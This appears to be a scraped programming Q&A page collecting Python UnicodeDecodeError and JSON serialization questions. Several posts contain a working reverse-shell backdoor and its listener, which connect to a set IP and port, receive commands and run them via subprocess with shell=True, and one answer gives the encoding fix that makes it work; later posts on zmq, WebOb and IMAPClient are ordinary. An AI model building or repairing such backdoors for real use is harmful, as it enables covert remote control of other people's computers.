i can't solve the problem when transferring a json object - python

I am successfully establishing a connection, but if I use json to transfer data, there is a problem. I need json to transfer large amounts of data
import json
import socket
import subprocess
class Reverce_Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command.encode('utf-8'), shell=True)
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command.encode('utf-8'))
self.reliable_send(command_result)
connection.close()
my_backdoor = Reverce_Backdoor("192.168.3.5", 4444)
my_backdoor.run()
I get an error :
C:\Python27\python.exe C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py
Traceback (most recent call last):
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 31, in <module>
my_backdoor.run()
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 26, in run
self.reliable_send(command_result)
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 12, in reliable_send
json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 195, in encode
return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x92 in position 1: invalid start byte
but this code works. the functionality is the same.
https://github.com/Oleg9637/Python
can anyone help?
Even if I do:
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
print (command_result)
self.reliable_send(command_result)
connection.close()
I get:
Traceback (most recent call last):
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 32, in <module>
my_backdoor.run()
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 27, in run
self.reliable_send(command_result)
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 12, in reliable_send
json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 195, in encode
return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x92 in position 1: invalid start byte
the connection is established, the command is transmitted correctly, but something goes wrong

Related

zmq python: problem with encoding 'utf-8' codec can't decode byte 0x80 in position 1: invalid start byte

I have a server from the training docs:
context = zmq.Context()
socket = context.socket(zmq.STREAM)
adrr = 'tcp://127.0.0.1:8000'
socket.bind(adrr)
try:
message = socket.recv_string(encoding='utf-8')
print(message)
# if message == '1':
# for el in range(10):
# socket.send_string(1)
finally:
socket.close()
and client:
import zmq
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect("tcp://127.0.0.1:8000")
try:
socket.send_string('yes',encoding='utf-8')
# Get the reply.
# while True:
# message = socket.recv()
# print('печатаю...')
# print(message.decode('utf-8','ignore'))
finally:
socket.close()
and encoding error
Traceback (most recent call last):
File "C:\Users\flild\OneDrive\Рабочий стол\python\Planeta_test_task\server.py", line 9, in <module>
message = socket.recv_string(encoding='utf-8')
File "C:\Users\flild\OneDrive\Рабочий стол\python\Planeta_test_task\lib\site-packages\zmq\sugar\socket.py", line 853, in recv_string
return self._deserialize(msg, lambda buf: buf.decode(encoding))
File "C:\Users\flild\OneDrive\Рабочий стол\python\Planeta_test_task\lib\site-packages\zmq\sugar\socket.py", line 752, in _deserialize
return load(recvd)
File "C:\Users\flild\OneDrive\Рабочий стол\python\Planeta_test_task\lib\site-packages\zmq\sugar\socket.py", line 853, in <lambda>
return self._deserialize(msg, lambda buf: buf.decode(encoding))
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 1: invalid start byte
I have already tried to change the encoding to utf-16 and others.
I don't know what to do

I've issue with my Listener: Object of type bytes is not JSON serializable Python3

I started to learn video with teacher, where he use a python2. Can it be issue with my codes, cause i use python3?. I've two codes that connect each other (Listener + reverse_backdoor). I've issue with Listener, when i added JSON, my code doesn't work. Before JSON all works, but I can't use commands, for example: When I use 'dir' it shows me files in directory, and next I want to use 'cd', but I can't move in directory. This first why I want to use JSON. I want to realize function which type is 'upload, download'. Check Listener (but with JSON it don't show files for me, and break):
import socket, json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print('[+] Waiting for incoming connections')
self.connection, address = listener.accept()
print('[+] Got a connection from ' + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode())
return self.reliable_receive()
def run(self):
while True:
command = input('>> ')
result = self.execute_remotely(command)
print(result)
my_listener = Listener('0.0.0.0', 4444)
my_listener.run()
Traceback:
Traceback (most recent call last):
File "/root/PycharmProjects/new1/listener/listener.py", line 34, in <module>
my_listener.run()
File "/root/PycharmProjects/new1/listener/listener.py", line 30, in run
result = self.execute_remotely(command)
File "/root/PycharmProjects/new1/listener/listener.py", line 24, in execute_remotely
self.reliable_send(command.encode())
File "/root/PycharmProjects/new1/listener/listener.py", line 16, in reliable_send
json_data = json.dumps(data)
File "/usr/lib/python3.9/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "/usr/lib/python3.9/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True)
File "/usr/lib/python3.9/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0)
File "/usr/lib/python3.9/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable
Idk if you need to reverse_backdoor, check it:
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command.decode('utf-8'), shell=True)
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
connection.close()
my_backdoor = Backdoor('0.0.0.0', 4444)
my_backdoor.run()
Traceback when I use command in the Listener:
Traceback (most recent call last):
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 31, in <module>
my_backdoor.run()
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 25, in run
command = self.reliable_receive()
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 18, in reliable_receive
return json.loads(json_data)
File "C:\Python310\lib\json\__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "C:\Python310\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Python310\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Programming a backdoor with python 3.x

i'm writing a clinet/server backdoor with python 3 and a have got error when running code
when i try to put some command on input
I got this error from client side:
Traceback (most recent call last): File "reverse_backdoor.py", line
31, in <module>
my_backdoor.run() File "reverse_backdoor.py", line 25, in run
command = self.relaible_receive() File "reverse_backdoor.py", line 18, in relaible_receive
return json.loads(json_data) File "/usr/lib/python3.7/json/__init__.py", line 348, in loads
return _default_decoder.decode(s) File "/usr/lib/python3.7/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/lib/python3.7/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char
0)
and i got this error from server side:
Traceback (most recent call last): File "listener.py", line 36, in
<module>
my_listener.run() File "listener.py", line 31, in run
result = self.execute_remotely(command) File "listener.py", line 25, in execute_remotely
self.reliable_send(command.encode('utf-8')) File "listener.py", line 17, in reliable_send
json_data = json.dumps(data) File "/usr/lib/python3.7/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj) File "/usr/lib/python3.7/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True) File "/usr/lib/python3.7/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0) File "/usr/lib/python3.7/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} ' TypeError: Object of type bytes is not JSON serializable
here is my listener:
#!/usr/bin/python
import json
import socket
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connection")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode('utf-8'))
return self.relaible_receive()
def run(self):
while True:
command = input('>>')
result = self.execute_remotely(command)
print(result)
my_listener = Listener("192.168.1.105", 4444)
my_listener.run()
And here is my backdoor:
#!/usr/bin/python
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.relaible_receive()
command_result = self.execute_system_command(command.decode('utf-8'))
self.reliable_send(command_result)
my_backdoor = Backdoor("192.168.1.105", 4444)
my_backdoor.run()
You're encoding before sending to json.dumps. Encode after:
>>> import json
>>> json.dumps('command'.encode('utf8'))
...
TypeError: Object of type 'bytes' is not JSON serializable
>>> json.dumps('command').encode('utf8')
b'"command"'

Utf-8 decode error in pyramid/WebOb request

I found an error in the logs of a website of mine, in the log i got the body of the request, so i tried to reproduce that
This is what i got.
>>> from mondishop.models import *
>>> from pyramid.request import *
>>> req = Request.blank('/')
>>> b = DBSession.query(Log).filter(Log.id == 503).one().payload.encode('utf-8')
>>> req.method = 'POST'
>>> req.body = b
>>> req.params
Traceback (most recent call last):
File "<input>", line 1, in <module>
File "/home/phas/virtualenv/mondishop/local/lib/python2.7/site-packages/webob/request.py", line 856, in params
params = NestedMultiDict(self.GET, self.POST)
File "/home/phas/virtualenv/mondishop/local/lib/python2.7/site-packages/webob/request.py", line 807, in POST
vars = MultiDict.from_fieldstorage(fs)
File "/home/phas/virtualenv/mondishop/local/lib/python2.7/site-packages/webob/multidict.py", line 92, in from_fieldstorage
obj.add(field.name, decode(value))
File "/home/phas/virtualenv/mondishop/local/lib/python2.7/site-packages/webob/multidict.py", line 78, in <lambda>
decode = lambda b: b.decode(charset)
File "/home/phas/virtualenv/mondishop/lib/python2.7/encodings/utf_8.py", line 16, in decode
return codecs.utf_8_decode(input, errors, True)
UnicodeDecodeError: 'utf8' codec can't decode byte 0xb0 in position 52: invalid start byte
>>> req.POST
Traceback (most recent call last):
File "<input>", line 1, in <module>
File "/home/phas/virtualenv/mondishop/local/lib/python2.7/site-packages/webob/request.py", line 807, in POST
vars = MultiDict.from_fieldstorage(fs)
File "/home/phas/virtualenv/mondishop/local/lib/python2.7/site-packages/webob/multidict.py", line 92, in from_fieldstorage
obj.add(field.name, decode(value))
File "/home/phas/virtualenv/mondishop/local/lib/python2.7/site-packages/webob/multidict.py", line 78, in <lambda>
decode = lambda b: b.decode(charset)
File "/home/phas/virtualenv/mondishop/lib/python2.7/encodings/utf_8.py", line 16, in decode
return codecs.utf_8_decode(input, errors, True)
UnicodeDecodeError: 'utf8' codec can't decode byte 0xb0 in position 52: invalid start byte
>>>
The error is the same as the one i got i my log, so apparently something goes bad try to decoding the original post.
What is weird is that i get an error trying to utf-8 decode something that i just utf-8 encoded.
I cannot provide the content of the original request body because it contains some sensitive data (it's a paypal IPN) and i don't really have any idea on how to start addressing this issue.

Python IMAPClient/imaplib search unicode issue

I'm using the IMAPClient library, but I'm getting UnicodeEncodeError when doing a search. Below is a snippet and the stack trace:
imap_client = imapclient.IMAPClient('imap.gmail.com', use_uid=True, ssl=True)
imap_client.oauth2_login('john#example.com', 'xxx')
subject = u'Test \u0153\u2211\u00b4\u00e5\u00df\u2202'
from_email = u'john#example.com'
to_emails = [u'foo#example.com']
cc_emails = []
approx_date_sent = '05-Aug-2013'
imap_client.select_folder(r'\Sent')
search_criteria = [
u'FROM %s' % from_email,
u'SUBJECT %s'.encode('utf-8') % subject,
u'TO %s' % ';'.join(to_emails) or '',
u'CC %s' % ';'.join(cc_emails) or '',
u'SENTON %s' % approx_date_sent
]
msg_ids = imap_client.search(search_criteria, charset='utf-8')
'ascii' codec can't encode characters in position 77-82: ordinal not in range(128)
Traceback (most recent call last):
File "/base/data/home/runtimes/python27/python27_lib/versions/third_party/webapp2-2.5.1/webapp2.py", line 570, in dispatch
return method(*args, **kwargs)
File "/base/data/home/apps/s~app/dev.369284735686497536/imapapi.py", line 269, in post
to_emails=to_emails, cc_emails=cc_emails, approx_date_sent=approx_date_sent
File "/base/data/home/apps/s~app/dev.369284735686497536/utils/imap.py", line 123, in search_message
msg_ids = imap_client.search(search_criteria, charset='utf-8')
File "/base/data/home/apps/s~app/dev.369284735686497536/imapclient/imapclient.py", line 569, in search
typ, data = self._imap.search(charset, *criteria)
File "/base/data/home/runtimes/python27/python27_dist/lib/python2.7/imaplib.py", line 625, in search
typ, dat = self._simple_command(name, 'CHARSET', charset, *criteria)
File "/base/data/home/runtimes/python27/python27_dist/lib/python2.7/imaplib.py", line 1070, in _simple_command
return self._command_complete(name, self._command(name, *args))
File "/base/data/home/runtimes/python27/python27_dist/lib/python2.7/imaplib.py", line 857, in _command
self.send('%s%s' % (data, CRLF))
File "/base/data/home/runtimes/python27/python27_dist/lib/python2.7/imaplib.py", line 1178, in send
sent = self.sslobj.write(data)
File "/base/data/home/runtimes/python27/python27_dist/lib/python2.7/ssl.py", line 232, in write
return self._sslobj.write(data)
UnicodeEncodeError: 'ascii' codec can't encode characters in position 77-82: ordinal not in range(128)
It seems the issue happens in ssl.py? And ssl=True is needed for oauth2_login.
Try this out
Python IMAP search using a subject encoded with iso-8859-1
It covers utf-8 as well as iso-8859-1

Categories